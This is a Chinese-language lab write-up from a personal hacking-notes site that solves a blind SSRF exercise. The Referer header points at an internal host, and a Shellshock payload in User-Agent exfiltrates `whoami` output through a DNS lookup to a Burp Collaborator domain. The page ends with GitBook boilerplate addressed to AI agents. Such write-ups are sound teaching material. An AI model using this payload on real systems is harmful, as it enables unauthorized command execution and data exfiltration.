> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# 通过 Shellshock 利用的盲 SSRF

### 盲 SSRF 与 Shellshock 利用

该站点使用一个分析模块，每当查看商品页面时，它都会从请求头中恢复所提供的 URL **Referer** 每次查看商品页面时都会如此。/ 为了解决该实验，你必须将此功能转用于执行一次盲 **SSRF** 到一个位于以下范围内的内部服务器 **192.168.0.X** 端口 **8080**。/ 在盲攻击期间，一个载荷 **Shellshock** 必须被注入，以泄露系统的用户名。

#### 初步观察

当访问商品页面时，网站确实会基于以下请求头发送请求 **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

这证实了应用程序会自动联系此请求头中提供的 URL。

<figure><img src="/files/31ca7866325252d1d34cca2651623a75d70e5491" alt=""><figcaption></figcaption></figure>

#### 通过盲 SSRF 进行利用

目标是强制应用程序联系一个内部主机：

```
Referer: http://192.168.X:8080
```

由于内部服务存在以下漏洞 **Shellshock**，一个载荷被注入到 **User-Agent** 请求头中，该头将被目标服务器解释。

该载荷执行一条命令，以泄露 `whoami` 结果通过发送到以下位置的 DNS 请求： **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="/files/b19f42cd205887b61aefa12fd3af20ed28cddf3d" alt=""><figcaption></figcaption></figure>

#### 结果

Collaborator 端出现了一条 DNS 查询，其中包含系统用户名。/ 在这种情况下，返回的用户名是：

<figure><img src="/files/c2cc34f611b38fd0537d50ae99192b7f56891bbc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.